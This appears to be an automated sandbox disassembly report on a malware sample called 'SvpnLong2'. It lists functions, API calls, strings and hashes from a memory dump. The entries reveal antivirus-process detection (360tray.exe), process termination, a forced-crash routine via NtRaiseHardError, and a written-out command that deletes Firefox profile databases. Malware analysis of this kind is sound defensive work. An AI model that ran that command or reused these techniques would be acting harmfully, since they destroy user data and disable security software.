String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$wcscpy_s
API String ID: 2123368286-3300880850
Opcode ID: 42156b940748f78acc56f5c3a3fd81fc88f42312ef86bc0735d71b767990b2b8
Instruction ID: bada51a2003573b07ed7838f34dedbbc01a3515e40bda06454f677c4806a231e
Opcode Fuzzy Hash: 42156b940748f78acc56f5c3a3fd81fc88f42312ef86bc0735d71b767990b2b8
Instruction Fuzzy Hash: 2FC1813191CB8685EB70EB25F44436AA7A0FB883A4F900135D6AD83BD5DF7CD654CBA0

Function 00007FF7FC7D0B20 Relevance: 16.0, APIs: 3, Strings: 6, Instructions: 228COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 00007FF7FC7D0BD1
_invalid_parameter.LIBCMTD ref: 00007FF7FC7D0CFD
_invalid_parameter.LIBCMTD ref: 00007FF7FC7D0E9C

Strings

(((_Src))) != NULL, xrefs: 00007FF7FC7D0C99, 00007FF7FC7D0CF6
strcpy_s, xrefs: 00007FF7FC7D0BC3, 00007FF7FC7D0CEF, 00007FF7FC7D0E8E
(L"Buffer is too small" && 0), xrefs: 00007FF7FC7D0E38, 00007FF7FC7D0E95
((_Dst)) != NULL && ((_SizeInBytes)) > 0, xrefs: 00007FF7FC7D0B6D, 00007FF7FC7D0BCA
Buffer is too small, xrefs: 00007FF7FC7D0E05
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl, xrefs: 00007FF7FC7D0B82, 00007FF7FC7D0BBC, 00007FF7FC7D0CAE, 00007FF7FC7D0CE8, 00007FF7FC7D0E4D, 00007FF7FC7D0E87

Memory Dump Source

Source File: 00000000.00000002.3529793352.00007FF7FC7A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FC7A0000, based on PE: true

Associated: 00000000.00000002.3529778120.00007FF7FC7A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529793352.00007FF7FC810000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC818000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529850011.00007FF7FC82B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529888388.00007FF7FC833000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529905202.00007FF7FC838000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529921267.00007FF7FC83D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC83E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FC84B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FD24B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3529939218.00007FF7FDC4B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7fc7a0000_SvpnLong2.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInBytes)) > 0$(L"Buffer is too small" && 0)$Buffer is too small$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscpy_s.inl$strcpy_s
API String ID: 2123368286-3045918802
Opcode ID: bc6f4ea81cf43de0207a9197fd08550302e327908e1f695f125b0e47f452f30a
Instruction ID: b739e720b9d722cbcbc4010ebcb3180f581bf75561a51cfb1fa91ed1ef08c1b7
Opcode Fuzzy Hash: bc6f4ea81cf43de0207a9197fd08550302e327908e1f695f125b0e47f452f30a
Instruction Fuzzy Hash: 23C1A13291CB8685EB70AB24F4443AAE7A0F789354F901135D6AD43BD9DF7CE644CBA0

Function 02142CF0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 02142D0C
GetProcAddress.KERNEL32 ref: 02142D24
GetProcAddress.KERNEL32 ref: 02142D37
GetProcAddress.KERNEL32 ref: 02142D47
FreeLibrary.KERNEL32 ref: 02142D85

Part of subcall function 02142BA0: LoadLibraryA.KERNEL32 ref: 02142BD6
Part of subcall function 02142BA0: GetProcAddress.KERNEL32 ref: 02142BEE
Part of subcall function 02142BA0: GetProcAddress.KERNEL32 ref: 02142C01
Part of subcall function 02142BA0: GetProcAddress.KERNEL32 ref: 02142C16
Part of subcall function 02142BA0: GetProcAddress.KERNEL32 ref: 02142C29
Part of subcall function 02142BA0: LoadLibraryA.KERNEL32 ref: 02142C39
Part of subcall function 02142BA0: GetProcAddress.KERNEL32 ref: 02142C51
Part of subcall function 02142BA0: FreeLibrary.KERNEL32 ref: 02142CA9
Part of subcall function 02142BA0: FreeLibrary.KERNEL32 ref: 02142CB7

Strings

OpenDesktopA, xrefs: 02142D2D
user32.dll, xrefs: 02142D05
CloseDesktop, xrefs: 02142D3D
OpenInputDesktop, xrefs: 02142D1A

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: CloseDesktop$OpenDesktopA$OpenInputDesktop$user32.dll
API String ID: 2449869053-3711086354
Opcode ID: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction ID: 2f21584d15eca052a0373f63e186253456c59513386eed581577b131eaf974f2
Opcode Fuzzy Hash: 510d16b2c1c99bb46a5f25ad315769a2d06fe4b01968ba76cc41fb940420ab36
Instruction Fuzzy Hash: 48112D31719B9182EA14DB56E85C3AE73A5BB99FC4F484026ED4E87B18DF3DC586C700

Function 0215C5D0 Relevance: 15.3, APIs: 10, Instructions: 253COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 0215C6F7

Part of subcall function 02159FFC: GetLastError.KERNEL32 ref: 0215A060
Part of subcall function 02159FFC: free.LIBCMT ref: 0215A0DE

free.LIBCMT ref: 0215C8BF
free.LIBCMT ref: 0215C8CF
free.LIBCMT ref: 0215C8DF
free.LIBCMT ref: 0215C8EB
free.LIBCMT ref: 0215C940
free.LIBCMT ref: 0215C948
free.LIBCMT ref: 0215C950
free.LIBCMT ref: 0215C958
free.LIBCMT ref: 0215C962

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free$ErrorInfoLast
String ID:
API String ID: 189849726-0
Opcode ID: e70ab65ff98af1be042e21017ad9e8ae36a91fe6b5a75e7a0769c9fdeedc47b4
Instruction ID: 2496507f892597b482152c2859a7e05fc6043a4ab2bc617ae2e6d2cce640c675
Opcode Fuzzy Hash: e70ab65ff98af1be042e21017ad9e8ae36a91fe6b5a75e7a0769c9fdeedc47b4
Instruction Fuzzy Hash: 06B1CB323447E0DACB15CF2AE4843AE77A5FB49B88F84416AEEA987754DB39C141CB40

Function 0215F104 Relevance: 15.2, APIs: 10, Instructions: 250COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0215F4AE), ref: 0215F1F7
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0215F4AE), ref: 0215F276
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0215F4AE), ref: 0215F31D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0215F4AE), ref: 0215F343

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ByteCharMultiWide$Info
String ID:
API String ID: 1775632426-0
Opcode ID: 44004786e5e3d94f8969b18c667b3e46802c7175e9a27cafd411378b69afc435
Instruction ID: f3392e8ad7a6184b1d6009b9d01f11b65188840b3469ba93d0f0c1374f9fb104
Opcode Fuzzy Hash: 44004786e5e3d94f8969b18c667b3e46802c7175e9a27cafd411378b69afc435
Instruction Fuzzy Hash: 629136737847A0CADB219F25D85436E3BA2F7427A8F4946A6DE7947F84DB38C446C340

Function 0215A690 Relevance: 15.2, APIs: 10, Instructions: 206COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0215A9CD), ref: 0215A72A
malloc.LIBCMT ref: 0215A793
MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,?,0215A9CD), ref: 0215A7C7
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0215A9CD), ref: 0215A7EE
LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0215A9CD), ref: 0215A836
malloc.LIBCMT ref: 0215A893

Part of subcall function 02155728: _FF_MSGBANNER.LIBCMT ref: 02155758
Part of subcall function 02155728: RtlAllocateHeap.NTDLL ref: 0215577D
Part of subcall function 02155728: _callnewh.LIBCMT ref: 02155796
Part of subcall function 02155728: _errno.LIBCMT ref: 021557A1
Part of subcall function 02155728: _errno.LIBCMT ref: 021557AC

LCMapStringW.KERNEL32(?,?,?,?,?,?,?,?,?,0215A9CD), ref: 0215A8C8
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,0215A9CD), ref: 0215A908
free.LIBCMT ref: 0215A91C
free.LIBCMT ref: 0215A92D

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: ByteCharMultiStringWide$_errnofreemalloc$AllocateHeap_callnewh
String ID:
API String ID: 1390791636-0
Opcode ID: 91d99d5821ea59e20816a9f645218f6b452e7da6b05d97046bf16282acaef9b0
Instruction ID: 485167df13593eb354432c6b590d8e269349bb4ea716607b586bd9a9dd148c0c
Opcode Fuzzy Hash: 91d99d5821ea59e20816a9f645218f6b452e7da6b05d97046bf16282acaef9b0
Instruction Fuzzy Hash: 2D71DF32384BA0CADB248F65E85035A76A5FF48BE8F554766EE7D43B98DB38C141C700

Function 0214E280 Relevance: 15.1, APIs: 10, Instructions: 121synchronizationsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 021419A0: WSAStartup.WS2_32 ref: 02141A19
Part of subcall function 021419A0: CreateEventA.KERNEL32 ref: 02141A2A

Part of subcall function 02141BF0: ResetEvent.KERNEL32 ref: 02141C2D
Part of subcall function 02141BF0: timeGetTime.WINMM ref: 02141C3F
Part of subcall function 02141BF0: socket.WS2_32 ref: 02141C66

CreateEventA.KERNEL32 ref: 0214E32E
setsockopt.WS2_32 ref: 0214E383
CancelIo.KERNEL32 ref: 0214E38D
closesocket.WS2_32 ref: 0214E3A1
SetEvent.KERNEL32 ref: 0214E3AE
WaitForSingleObject.KERNEL32 ref: 0214E40D
Sleep.KERNEL32 ref: 0214E418
WaitForSingleObject.KERNEL32 ref: 0214E42B
WaitForSingleObject.KERNEL32 ref: 0214E438
Sleep.KERNEL32 ref: 0214E44E

Part of subcall function 02141AC0: Sleep.KERNEL32 ref: 02141ADC
Part of subcall function 02141AC0: CloseHandle.KERNEL32 ref: 02141AEB
Part of subcall function 02141AC0: CloseHandle.KERNEL32 ref: 02141AFA
Part of subcall function 02141AC0: CloseHandle.KERNEL32 ref: 02141B0C
Part of subcall function 02141AC0: WSACleanup.WS2_32 ref: 02141B12
Part of subcall function 02141AC0: VirtualFree.KERNEL32 ref: 02141B29
Part of subcall function 02141AC0: VirtualFree.KERNEL32 ref: 02141B4D
Part of subcall function 02141AC0: VirtualFree.KERNEL32 ref: 02141B6F
Part of subcall function 02141AC0: VirtualFree.KERNEL32 ref: 02141B9C
Part of subcall function 02141AC0: VirtualFree.KERNEL32 ref: 02141BB7
Part of subcall function 02141AC0: VirtualFree.KERNEL32 ref: 02141BD2

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: FreeVirtual$Event$CloseHandleObjectSingleSleepWait$Create$CancelCleanupResetStartupTimeclosesocketsetsockoptsockettime
String ID:
API String ID: 1609788701-0
Opcode ID: ceaa3d06b576102ce48464baf3856429c280c2f1171d34fef7e9b39899773ec5
Instruction ID: f42c557ffc8ca6dbb0676d32bdf4322b73db7e8adc566e9cd3cbeb20e465237b
Opcode Fuzzy Hash: ceaa3d06b576102ce48464baf3856429c280c2f1171d34fef7e9b39899773ec5
Instruction Fuzzy Hash: B5516D32214B809AE720DF35E85879E7771F7997A4F540226EEAD47BA8CF38C549CB40

Function 0214F1D0 Relevance: 15.1, APIs: 10, Instructions: 62sleepprocessstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0214F1F7
Process32First.KERNEL32 ref: 0214F225
lstrcmp.KERNEL32 ref: 0214F238
OpenProcess.KERNEL32 ref: 0214F24C
TerminateProcess.KERNEL32 ref: 0214F25F
CloseHandle.KERNEL32 ref: 0214F268
Process32Next.KERNEL32 ref: 0214F276
Sleep.KERNEL32 ref: 0214F285
CloseHandle.KERNEL32 ref: 0214F28E
CloseHandle.KERNEL32 ref: 0214F2C5

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CloseHandle$ProcessProcess32$CreateFirstNextOpenSleepSnapshotTerminateToolhelp32lstrcmp
String ID:
API String ID: 3983807665-0
Opcode ID: 023695b1be6ef7274d2b7c6052873ae70fec44cbfcf9f0a65a0369674563f7e1
Instruction ID: ece1d52d5037c214c4c0fcb4c7fc625ce329b8b72cadf9da4ee1cb5ad8f2b5f1
Opcode Fuzzy Hash: 023695b1be6ef7274d2b7c6052873ae70fec44cbfcf9f0a65a0369674563f7e1
Instruction Fuzzy Hash: 20211D35348A4486EB249B22E85C7AE73A1FB98B94F494624DD5E47B98EF3CC14AC740

Function 0215902C Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 0215904D

Part of subcall function 0215537C: Sleep.KERNEL32(?,?,00000000,02153110), ref: 021553C1

GetFileType.KERNEL32 ref: 021591B8
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 021591F6

Strings

@, xrefs: 021592B1

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: CountCriticalFileInfoInitializeSectionSleepSpinStartupType
String ID: @
API String ID: 3473179607-2766056989
Opcode ID: b5c88d47e09fa23ce06dcaad218e96721abd1376188eb1fd35c62f2ee928df44
Instruction ID: 1c55f3c10f44438f72a1da1a29d6b20c81633fee8ddcf73eaa09376e8ed157d8
Opcode Fuzzy Hash: b5c88d47e09fa23ce06dcaad218e96721abd1376188eb1fd35c62f2ee928df44
Instruction Fuzzy Hash: 9881A972345B90C6DB148F25D98832937A5F744B78F489368DE7A033E5EB38C45AC382

Function 02142AC0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59stringprocessCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 02142AD6

Part of subcall function 02153290: malloc.LIBCMT ref: 021532AA

Process32First.KERNEL32 ref: 02142B0D
lstrcmpi.KERNEL32 ref: 02142B27
Process32Next.KERNEL32 ref: 02142B37
lstrcmpi.KERNEL32 ref: 02142B4C
Process32Next.KERNEL32 ref: 02142B5C
CloseHandle.KERNEL32 ref: 02142B73

Strings

360tray.exe, xrefs: 02142B17, 02142B41

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Process32$Nextlstrcmpi$CloseCreateFirstHandleSnapshotToolhelp32malloc
String ID: 360tray.exe
API String ID: 2114354-563812762
Opcode ID: 9bdbb94246f68bf99088d796db0f409c1b278a73bd766a0d55989b28f0cdda84
Instruction ID: 758a7088576f82a1123521c598a08c6cfcaa18752a3f2f9b3b2052d066ad89c5
Opcode Fuzzy Hash: 9bdbb94246f68bf99088d796db0f409c1b278a73bd766a0d55989b28f0cdda84
Instruction Fuzzy Hash: 1B216A72354A4082EB249F22E8583AE7361F798FC4F4D5521EE4E87758DF38C58AC700

Function 02142F20 Relevance: 13.6, APIs: 9, Instructions: 99threadCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 02142F37
GetWindowThreadProcessId.USER32 ref: 02142F63
GetCurrentProcessId.KERNEL32 ref: 02142F6B
GetCurrentThreadId.KERNEL32 ref: 02142F77
GetWindowTextA.USER32 ref: 02142F8D
InternalGetWindowText.USER32 ref: 02142FD6
WideCharToMultiByte.KERNEL32 ref: 02142FFA
WideCharToMultiByte.KERNEL32 ref: 02143021
GetWindowTextA.USER32 ref: 0214306C

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: Window$Text$ByteCharCurrentMultiProcessThreadWide$Internal
String ID:
API String ID: 3111847906-0
Opcode ID: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction ID: f57fcb69fb1a559afc8a20f9e0496335d8c8cda4cd12b1f5a319ad5395452d00
Opcode Fuzzy Hash: 0fdf438269659fc0fa65afeff1c2bec110f1865e7b9a251698ba59ba194f47bd
Instruction Fuzzy Hash: 6A31B67674478086E7149F26B80875E6391F785BD4F584238EEAA47F94DF3CC449CB04

Function 0214E723 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 31libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0214E72A
GetProcAddress.KERNEL32 ref: 0214E73A
GetModuleHandleA.KERNEL32 ref: 0214E74A
GetProcAddress.KERNEL32 ref: 0214E75A

Strings

RtlAdjustPrivilege, xrefs: 0214E730
ntdll.dll, xrefs: 0214E723, 0214E740
NtRaiseHardError, xrefs: 0214E750

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NtRaiseHardError$RtlAdjustPrivilege$ntdll.dll
API String ID: 1646373207-3189222469
Opcode ID: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction ID: b6eb840b65fa6cdfbc8a5992d986fa64a3bbb40735ed518a434b8fbe7d8505f3
Opcode Fuzzy Hash: ab13eb02454ac93fcd2d64e85cb7ad2ec888a7379b4bcbbceb6dd2d3d825901a
Instruction Fuzzy Hash: DC011931610A8682EB10DBA5F85CBCAB361FBA8B99F451016DA4D07B24EE38C14DCB40

Function 02151D10 Relevance: 12.1, APIs: 8, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,0214E182), ref: 02151D50
VirtualAlloc.KERNEL32(?,?,?,0214E182), ref: 02151D6D

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: be4286c4da388d932c314d9cc8358ddcdd747aba37cb2460b1e4ae52cd661bf9
Instruction ID: 68d6673d894c43b7e1555400989fec280fecfc4ca538aab450e6827e6d80ab4a
Opcode Fuzzy Hash: be4286c4da388d932c314d9cc8358ddcdd747aba37cb2460b1e4ae52cd661bf9
Instruction Fuzzy Hash: E6518B36351B60DADB16CB22E9847AE33A1FB88BC4F088065DE5E07B14EF38D455C740

Function 02159AB0 Relevance: 12.1, APIs: 8, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

_FF_MSGBANNER.LIBCMT ref: 02159AD7

Part of subcall function 0215A4A4: _set_error_mode.LIBCMT ref: 0215A4AD
Part of subcall function 0215A4A4: _set_error_mode.LIBCMT ref: 0215A4BC

Part of subcall function 0215A244: _set_error_mode.LIBCMT ref: 0215A289
Part of subcall function 0215A244: _set_error_mode.LIBCMT ref: 0215A29A
Part of subcall function 0215A244: GetModuleFileNameW.KERNEL32 ref: 0215A2FC

Part of subcall function 02154F94: ExitProcess.KERNEL32 ref: 02154FA3

Part of subcall function 021552FC: malloc.LIBCMT ref: 02155327
Part of subcall function 021552FC: Sleep.KERNEL32(?,?,00000000,02159B11,?,?,00000000,02159BBB,?,?,?,?,?,?,00000000,0215492C), ref: 0215533A

_errno.LIBCMT ref: 02159B19
_lock.LIBCMT ref: 02159B2D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000000,02159BBB,?,?,?,?,?,?,00000000,0215492C,?,?,000002C8,02153209), ref: 02159B43
free.LIBCMT ref: 02159B50
_errno.LIBCMT ref: 02159B55
RtlLeaveCriticalSection.NTDLL ref: 02159B78

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _set_error_mode$CriticalSection_errno$CountExitFileInitializeLeaveModuleNameProcessSleepSpin_lockfreemalloc
String ID:
API String ID: 113790786-0
Opcode ID: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction ID: ef991ca4264aeedf4e020c809c3aa80c20b3dee9862f4a51af1d8d49ad1bd55b
Opcode Fuzzy Hash: 73ae3fb5c7c4ccbaaf4f8d4c4d45a553f7f84ec8388a2a8c33d3473ba375301a
Instruction Fuzzy Hash: 482126306D5E64C6F725AB60E408B6E7376FB80790F0941A4DE7647680CF3CC440C792

Function 02158A90 Relevance: 12.0, APIs: 8, Instructions: 39COMMON

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 02158A9D
_errno.LIBCMT ref: 02158AA5
_invalid_parameter_noinfo.LIBCMT ref: 02158AB1
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0215408F), ref: 02158AC2
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,del /s /f %appdata%\Mozilla\Firefox\Profiles\*.db,?,?,0215408F), ref: 02158ACD
_errno.LIBCMT ref: 02158ADA

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: _errno$AttributesErrorFileLast__doserrno_invalid_parameter_noinfo
String ID:
API String ID: 2953107838-0
Opcode ID: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction ID: 418261347fb70c274def627426e67957bfcad839517557684f714b71db72f0a7
Opcode Fuzzy Hash: 6bd33e9cc88758b05f4ffe04088cbd09dc5e0fe9f91c9aa33adb7de791cfd3bc
Instruction Fuzzy Hash: 76F06DB06C1A64CFEB252BB49C4536E22569B50765F4399D0EE32872C0DB3848C6CA22

Function 01E6BF88 Relevance: 11.6, APIs: 9, Instructions: 379COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 01E6C277
free.LIBCMT ref: 01E6C287
free.LIBCMT ref: 01E6C297
free.LIBCMT ref: 01E6C2A3
free.LIBCMT ref: 01E6C2F8
free.LIBCMT ref: 01E6C300
free.LIBCMT ref: 01E6C308
free.LIBCMT ref: 01E6C310
free.LIBCMT ref: 01E6C31A

Memory Dump Source

Source File: 00000000.00000002.3528725360.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_SvpnLong2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction ID: 675f071e10521aefb91eb32ff43ce13fc69403a5d75d63a1f16a05e07bc2ae08
Opcode Fuzzy Hash: f32bca21d81294411377cb91f11f61de43356bc1920308245a35a8ea1693f131
Instruction Fuzzy Hash: 59C1033069CA898FD719DF68D0943ADB7E4FB59344F90116EE89EC7282DB35D841CB82

Function 0215BFB0 Relevance: 10.8, APIs: 7, Instructions: 305COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 0215C034
free.LIBCMT ref: 0215C059
free.LIBCMT ref: 0215C41E
free.LIBCMT ref: 0215C42A

Memory Dump Source

Source File: 00000000.00000002.3528995286.0000000002140000.00000040.00001000.00020000.00000000.sdmp, Offset: 02140000, based on PE: true

Associated: 00000000.00000002.3528995286.0000000002168000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3528995286.0000000002421000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2140000_SvpnLong2.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 427806122d9ac67d8dfcfd0f33075a7ba0103d90d57bf8b600a7dc0f9248a042
Instruction ID: 163a9599822a43c54d7cff9f41a4fe07bb322a292a602e788e7c1213ef591481
Opcode Fuzzy Hash: 427806122d9ac67d8dfcfd0f33075a7ba0103d90d57bf8b600a7dc0f9248a042
Instruction Fuzzy Hash: DBC19332700B65D9DB20DF62E484AAE7BA5F789788F404566DFAD47714EF78C206CB80

Function 02147CE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 02153290: malloc.LIBCMT ref: 021532AA

std::exception::exception.LIBCMT ref: 02147DA7
free.LIBCMT ref: 02147E17
